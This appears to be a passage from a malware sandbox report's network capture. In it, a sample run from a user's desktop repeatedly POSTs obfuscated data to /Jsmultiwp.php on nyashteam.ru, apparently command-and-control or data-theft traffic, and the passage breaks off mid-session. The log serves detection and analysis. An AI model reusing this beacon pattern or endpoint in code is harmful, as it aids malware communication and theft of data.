Dec 10, 2024 19:02:11.406527042 CET	817	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:02:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=T3NlsyPutox8YCEEWTRLb6qcGGoul4IWoPOHCcCBx3c72ekohWkoto%2B3hhCZZ6cI%2BKzc7biaMtIrNxUEkUPcxsnNW22x%2FdwEMhJoekhRMMCx4Mf%2BdgMESEr8kyiKKv08qhFHQawu%2BA8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff24e73ba2d74b-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=173366&min_rtt=168301&rtt_var=73244&sent=4&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2827&delivery_rate=6991&cwnd=31&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 5d 5e 56 0d 0a 30 0d 0a 0d 0a Data Ascii: 41]^V0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	49927	104.21.2.8	80	7236	C:\Users\user\Desktop\0wdppTE7Op.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:02:11.561642885 CET	323	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 1856 Expect: 100-continue Connection: Keep-Alive
Dec 10, 2024 19:02:11.917144060 CET	1856	OUT	Data Raw: 55 5d 58 5e 5d 5a 50 50 5c 56 5b 59 50 5b 5a 5e 50 5f 59 54 50 59 53 55 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: U]X^]ZPP\V[YP[Z^P_YTPYSU_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_#X&%]?/4"7'+$1"/(3$&=#(,<5"#;$_" X(;
Dec 10, 2024 19:02:12.647680044 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:02:13.130584002 CET	961	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:02:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XiD6BKHKDgHjysQTcGgek3Iow9%2BeyP45GizBqzTHaxq9sUExbjKLG%2Fvtk8lMwhAEX4bweigh2rezSU4I7ncvZDTuucAOCid1pC57YpRXQmz%2BuaM6cR7Uc993iJVDvT%2FEEmcTI1RhpZs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff25041c3d7d13-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4875&min_rtt=1915&rtt_var=6638&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2179&delivery_rate=57037&cwnd=251&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 03 15 24 03 21 3b 2c 08 21 31 26 02 2e 07 0e 13 2d 06 09 5f 2c 28 35 5e 35 07 31 07 39 3c 00 5f 2b 3b 0a 02 32 1c 2a 5e 33 08 07 52 3d 34 28 51 06 1c 25 15 27 39 31 09 3f 3f 29 13 33 04 3c 5f 2a 24 36 06 29 07 38 0a 34 3b 16 5d 26 13 01 50 28 3f 0f 52 24 02 07 06 2f 55 3e 07 25 2d 2a 51 00 16 21 17 3f 32 23 06 23 20 22 1c 36 21 24 5c 3c 35 01 5d 33 5b 3b 0d 24 02 2e 11 33 12 3c 07 25 3f 29 10 27 12 0d 5c 34 11 06 0d 27 23 23 5d 2d 03 28 57 00 3f 5a 4f 0d 0a 30 0d 0a 0d 0a Data Ascii: 98$!;,!1&.-_,(5^519<_+;2^3R=4(Q%'91??)3<_$6)84;]&P(?R$/U>%-*Q!?2## "6!$\<5]3[;$.3<%?)'\4'##]-(W?ZO0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	49928	104.21.2.8	80	7236	C:\Users\user\Desktop\0wdppTE7Op.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:02:12.090508938 CET	323	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 2528 Expect: 100-continue Connection: Keep-Alive
Dec 10, 2024 19:02:12.448139906 CET	2528	OUT	Data Raw: 55 5e 58 5e 5d 58 50 57 5c 56 5b 59 50 5a 5a 5c 50 5b 59 58 50 5d 53 59 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: U^X^]XPW\V[YPZZ\P[YXP]SY_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_ 23!<#'3==^",8387\1(:48;<#Z!!T/$_" X(
Dec 10, 2024 19:02:13.508732080 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:02:14.827778101 CET	821	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:02:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cSgM2UlQBJW%2BOa9TZWjib%2BZoNImCCrCsPOCiN8gBz0FSoTxneQ806jro%2F8grX1B8TRCDuDWr%2Fq7NjMJZ%2Fo79BQWU4YFY45Cdsy%2BVWAn0pVmyRy1V9Hf6oQTMYH62%2F2gRrdVuM9BEaLQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff2508fe8ed777-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=174860&min_rtt=168168&rtt_var=76447&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2851&delivery_rate=6585&cwnd=31&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 5d 5e 56 0d 0a 30 0d 0a 0d 0a Data Ascii: 41]^V0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	49934	104.21.2.8	80	7236	C:\Users\user\Desktop\0wdppTE7Op.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:02:15.065337896 CET	299	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 2528 Expect: 100-continue
Dec 10, 2024 19:02:15.416805983 CET	2528	OUT	Data Raw: 50 59 5d 58 58 5d 55 5d 5c 56 5b 59 50 5b 5a 5e 50 5e 59 5d 50 55 53 5f 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: PY]XX]U]\V[YP[Z^P^Y]PUS__X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_ %>??767#=$&"<$(#]&#;<"!8;+$_" X(;
Dec 10, 2024 19:02:16.479373932 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:02:17.999959946 CET	819	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:02:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7XITW%2B8BHbybbcSHqXFXkOHq%2FGuURADsSborBdeKlBgAVIRk8ufYPh%2FPOpf4zN5%2BjH5LPtN3KBzO1H44wU8ozrVi0Kuybtt%2BwCPjhvsztwDV0K8uawn6zXq9cKoN8Kpk3hiCe%2FQKvZI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff251b8c5a6882-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=171571&min_rtt=165193&rtt_var=74704&sent=4&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2827&delivery_rate=6752&cwnd=31&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 5d 5e 56 0d 0a 30 0d 0a 0d 0a Data Ascii: 41]^V0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	49946	104.21.2.8	80	7236	C:\Users\user\Desktop\0wdppTE7Op.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:02:18.256650925 CET	323	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 1856 Expect: 100-continue Connection: Keep-Alive
Dec 10, 2024 19:02:18.604342937 CET	1856	OUT	Data Raw: 50 5e 58 5a 58 5c 50 56 5c 56 5b 59 50 55 5a 50 50 59 59 55 50 5c 53 5c 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: P^XZX\PV\V[YPUZPPYYUP\S\_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_#^&#-Z=,\6'0D+4"4<?\08<&=#-/ !2 ;;$_" X(
Dec 10, 2024 19:02:19.678037882 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:02:20.160553932 CET	970	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:02:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bXtwMWxBeP2MWfCUFFxUW09JJB%2FYHs%2Bp7XrpbN5Mi%2BziAXo86q8Nb7tyFd0esLfFUeSja1jyOzEu6adwhS9U8%2Ffiqm4OQS%2BKqlPI2jzKdKFRKnLmxoXQWB%2B6tg%2Fn4Eyf7Kl43IfBHtY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff252f8f21d74f-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=174017&min_rtt=168896&rtt_var=73579&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2179&delivery_rate=6956&cwnd=31&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 03 15 27 13 20 02 23 56 21 54 3e 05 2d 17 3c 5b 2d 16 02 05 2e 5e 25 1b 36 2a 32 1c 2c 2f 2d 02 28 28 3c 02 25 54 29 02 24 08 35 57 29 1e 28 51 06 1c 25 16 24 5c 31 08 2a 3f 3e 06 24 13 2f 00 2a 51 35 5a 3d 2d 37 53 20 2b 3c 15 26 3d 30 0b 3f 3f 2e 0f 30 12 00 1d 2f 30 39 12 25 2d 2a 51 00 16 21 19 2b 21 28 13 37 09 3e 54 23 22 1a 5d 3f 25 01 12 24 3d 24 12 27 02 04 5a 33 3f 33 5c 24 11 0b 1d 27 5a 38 00 23 2c 2b 52 27 23 23 5d 2d 03 28 57 00 3f 5a 4f 0d 0a 30 0d 0a 0d 0a Data Ascii: 98' #V!T>-<[-.^%62,/-((<%T)$5W)(Q%$\1?>$/Q5Z=-7S +<&=0??.0/09%-Q!+!(7>T#"]?%$=$'Z3?3\$'Z8#,+R'##]-(W?ZO0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	49947	104.21.2.8	80	7236	C:\Users\user\Desktop\0wdppTE7Op.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:02:18.533813000 CET	323	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 2528 Expect: 100-continue Connection: Keep-Alive
Dec 10, 2024 19:02:18.886975050 CET	2528	OUT	Data Raw: 50 58 5d 5f 58 5c 55 55 5c 56 5b 59 50 58 5a 5d 50 55 59 5b 50 59 53 54 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: PX]_X\UU\V[YPXZ]PUY[PYST_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_#_1<Z$X"40*$Z4342]=V ;5Z,?85"7,$_" X(7
Dec 10, 2024 19:02:19.950750113 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:02:20.720627069 CET	808	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:02:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Pcsm15FH7pEwkgB%2F9VODo6xImUcsAo6XRtcCTd%2FOnrSI4OTTADdneVYRZCqCnKUKAPGGaoyd08CNaW2OZOfFkxkxJmjzzXIJO4xda6Xu9G%2BxuRhtpc15ogkmXuP69Y3pAExjqNdkCUI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff25313e0dfcbc-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=173745&min_rtt=167670&rtt_var=75026&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2851&delivery_rate=6750&cwnd=31&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 5d 5e 56 0d 0a Data Ascii: 41]^V
Dec 10, 2024 19:02:20.913860083 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.4	49953	104.21.2.8	80

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:02:21.159434080 CET	299	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 2528 Expect: 100-continue
Dec 10, 2024 19:02:21.510525942 CET	2528	OUT	Data Raw: 50 5a 5d 5c 5d 59 50 56 5c 56 5b 59 50 5a 5a 5d 50 59 59 5c 50 5f 53 5b 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: PZ]\]YPV\V[YPZZ]PYY\P_S[_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_ '3-[=,8]!7>'& #'81;"+1Z,Y'_517S;$_" X(
Dec 10, 2024 19:02:22.244735003 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:02:22.768174887 CET	818	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:02:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8FDvF82gltxb20%2FmlA8j8CIiuoesHoE0imuF86LwAIycoW%2B%2BPrDGoZz8B5%2BMdO6WsJA%2B27sQt5R9g1XA5r4SspasxIHYw7uNC1G6P3vsNnVW4psood4a90Rouvsq%2Fea2cuWh%2BS47fYI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff2540191dde9a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4242&min_rtt=1687&rtt_var=5743&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2827&delivery_rate=65976&cwnd=208&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 5d 5e 56 0d 0a 30 0d 0a 0d 0a Data Ascii: 41]^V0

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.4	49959	104.21.2.8	80

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:02:23.025799990 CET	323	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 2528 Expect: 100-continue Connection: Keep-Alive
Dec 10, 2024 19:02:23.369995117 CET	2528	OUT	Data Raw: 50 5e 5d 5c 58 59 55 50 5c 56 5b 59 50 5f 5a 51 50 54 59 55 50 5f 53 55 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: P^]\XYUP\V[YP_ZQPTYUP_SU_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_ 2#=,]57<41_#?]%;;^&"8>,< 2 ,+$_" X(+
Dec 10, 2024 19:02:24.122797966 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:02:24.398729086 CET	814	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:02:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JJWmSjwDrrlKJ3kEyZBoz%2Bb0CrWwUbBCM3FCGMw78gfKoa8WXeSsxd%2FNsdiziCYomdPu04M2GQVraJn%2BfspcIZ4qTiF5bleSw8LK5T7DRMH%2FYm5MZbNxq0sFa19Z9WtPKI%2BMTF0eTPw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff254bcabe5e7f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3864&min_rtt=1697&rtt_var=4972&sent=3&recv=7&lost=0&retrans=0&sent_bytes=25&recv_bytes=2851&delivery_rate=76680&cwnd=227&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 5d 5e 56 0d 0a 30 0d 0a 0d 0a Data Ascii: 41]^V0

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.4	49964	104.21.2.8	80

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:02:24.643847942 CET	323	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 2528 Expect: 100-continue Connection: Keep-Alive
Dec 10, 2024 19:02:24.995213032 CET	2528	OUT	Data Raw: 55 54 5d 58 5d 5b 55 51 5c 56 5b 59 50 59 5a 5b 50 58 59 5a 50 5c 53 55 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: UT]X][UQ\V[YPYZ[PXYZP\SU_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_#\&&(+6'$C*2#[%+82]:4;-,?#^5$;+$_" X(3

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.4	49966	104.21.2.8	80

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:02:25.288054943 CET	323	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 1856 Expect: 100-continue Connection: Keep-Alive
Dec 10, 2024 19:02:25.635574102 CET	1856	OUT	Data Raw: 50 58 5d 5c 5d 5d 50 54 5c 56 5b 59 50 59 5a 5c 50 59 59 5d 50 5e 53 5e 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: PX]\]]PT\V[YPYZ\PYY]P^S^_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_ %*?Z4#'$)4:4+]0/29V#^)-,764/$_" X(3
Dec 10, 2024 19:02:25.885477066 CET	1236	OUT	Data Raw: 21 54 23 04 2b 25 24 01 30 2e 34 0c 25 2b 2e 59 24 3c 3f 1b 27 01 3d 0e 25 01 20 35 20 58 20 10 3d 40 0e 2c 01 01 0e 28 2b 30 12 18 24 5d 5f 15 35 04 56 0e 12 21 21 1c 3c 30 0f 25 36 35 3f 52 3d 09 34 2a 0d 29 03 1b 0d 5a 06 38 11 3d 06 17 3b 30 Data Ascii: !T#+%$0.4%+.Y$<?'=% 5 X =@,(+0$]_5V!!<0%65?R=4)Z8=;0/?\=2.>=8'^(4=:>)U1[<( [250/#R?.%]%:%4>??4=T:\:)9_":+=]0Y% <%!';R)01)9T&?!)7>]3?<4>'3=.?*'[?8/.Z$2;9
Dec 10, 2024 19:02:26.712904930 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:02:27.037019968 CET	962	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:02:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9ZfLoUC5cWfQ2gA9dU85%2FtZPwsxszvrjSS%2F3o3zPTYCKoKZ4g1O7AoLNVO4cQZ40R9vTTz2xzh4CQTAf76rxTkkoA216ov1tLaLEi3pFVrwy2EVh3wyBAyywWlmoFy%2FmPj2m0FtEfM4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff255b7ea4d744-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=172862&min_rtt=165699&rtt_var=76464&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=2179&delivery_rate=6546&cwnd=31&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 03 15 24 07 20 3b 05 57 22 31 25 11 2e 00 38 5b 2e 38 2b 5d 2d 06 39 5e 21 29 08 5a 2d 12 2a 5e 3f 05 0e 00 32 32 0b 06 27 35 2a 0f 3e 34 28 51 06 1c 25 18 24 14 0f 0e 2b 11 0c 01 24 2e 3f 00 28 37 21 5c 29 00 01 50 34 3b 20 18 26 03 23 54 3f 06 3d 11 30 5a 29 45 38 33 0b 1c 26 07 2a 51 00 16 22 08 29 21 34 11 23 20 2d 0f 35 1c 15 02 3f 25 05 5c 33 03 0e 56 30 3c 03 04 30 3c 2f 5c 27 11 03 57 33 02 38 04 37 3f 06 0c 32 19 23 5d 2d 03 28 57 00 3f 5a 4f 0d 0a 30 0d 0a 0d 0a Data Ascii: 98$ ;W"1%.8[.8+]-9^!)Z-^?22'5>4(Q%$+$.?(7!\)P4; &#T?=0Z)E83&*Q")!4# -5?%\3V0<0</\'W387?2#]-(W?ZO0

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.4	49967	104.21.2.8	80

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:02:25.413759947 CET	323	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 2528 Expect: 100-continue Connection: Keep-Alive
